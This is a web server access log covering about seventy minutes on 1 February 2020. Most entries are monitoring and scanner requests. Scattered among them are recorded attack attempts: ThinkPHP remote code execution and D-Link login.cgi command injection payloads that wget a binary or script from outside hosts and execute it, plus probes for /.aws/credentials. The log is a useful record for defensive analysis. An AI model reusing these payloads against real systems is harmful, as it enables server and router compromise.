34.220.143.114 - - [01/Feb/2020:17:20:32 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:17:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.235.19.245 - - [01/Feb/2020:17:22:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
15.164.94.132 - - [01/Feb/2020:17:25:15 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:17:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.122.11.129 - - [01/Feb/2020:17:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:17:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:17:29:53 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
59.21.46.176 - - [01/Feb/2020:17:30:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:17:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [01/Feb/2020:17:32:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:17:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:17:33:33 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:17:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.228.189.223 - - [01/Feb/2020:17:33:44 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:17:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.114.224.102 - - [01/Feb/2020:17:35:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.185.156.34 - - [01/Feb/2020:17:35:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
83.66.179.248 - - [01/Feb/2020:17:36:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:17:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.44.21 - - [01/Feb/2020:17:37:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [01/Feb/2020:17:38:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:17:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.95.141 - - [01/Feb/2020:17:39:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.204.244 - - [01/Feb/2020:17:41:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.228.19.79 - - [01/Feb/2020:17:41:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [01/Feb/2020:17:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.74.151.50 - - [01/Feb/2020:17:43:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:17:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.77.123.165 - - [01/Feb/2020:17:44:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.196.181.54 - - [01/Feb/2020:17:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [01/Feb/2020:17:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.196.181.54 - - [01/Feb/2020:17:46:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
35.196.181.54 - - [01/Feb/2020:17:47:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
35.196.181.54 - - [01/Feb/2020:17:47:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
94.51.54.201 - - [01/Feb/2020:17:47:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.196.181.54 - - [01/Feb/2020:17:47:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
35.196.181.54 - - [01/Feb/2020:17:47:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
35.196.181.54 - - [01/Feb/2020:17:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
35.196.181.54 - - [01/Feb/2020:17:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
193.198.66.62 - - [01/Feb/2020:17:47:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.47.215 - - [01/Feb/2020:17:47:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.181.166 - - [01/Feb/2020:17:47:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.175.253.10 - - [01/Feb/2020:17:51:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.141.200.95 - - [01/Feb/2020:17:51:23 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:17:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.112.76.114 - - [01/Feb/2020:17:53:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.17.46 - - [01/Feb/2020:17:53:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.80.115 - - [01/Feb/2020:17:53:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.53.242.123 - - [01/Feb/2020:17:54:27 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:17:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.197.113.177 - - [01/Feb/2020:17:54:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible MSIE 6.00 Windows NT 5.1 SV1)"
42.118.70.112 - - [01/Feb/2020:17:55:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.53.242.123 - - [01/Feb/2020:17:56:58 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
31.163.22.140 - - [01/Feb/2020:17:57:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.249.87 - - [01/Feb/2020:17:57:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:17:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:17:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.53.242.123 - - [01/Feb/2020:17:59:48 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
42.113.211.109 - - [01/Feb/2020:17:59:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [01/Feb/2020:18:03:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [01/Feb/2020:18:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:18:05:15 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.84.13.160 - - [01/Feb/2020:18:06:01 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
200.7.181.137 - - [01/Feb/2020:18:06:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:18:09:02 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
180.93.25.215 - - [01/Feb/2020:18:09:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.194.22.117 - - [01/Feb/2020:18:10:55 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
113.67.99.193 - - [01/Feb/2020:18:11:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:18:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.162.202.158 - - [01/Feb/2020:18:11:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:18:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.46.16.233 - - [01/Feb/2020:18:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.253.248 - - [01/Feb/2020:18:17:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.89 - - [01/Feb/2020:18:20:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.43.247.27 - - [01/Feb/2020:18:25:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
191.13.163.228 - - [01/Feb/2020:18:25:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:18:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.124.2 - - [01/Feb/2020:18:25:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.235.182.8 - - [01/Feb/2020:18:27:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.252 - - [01/Feb/2020:18:30:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
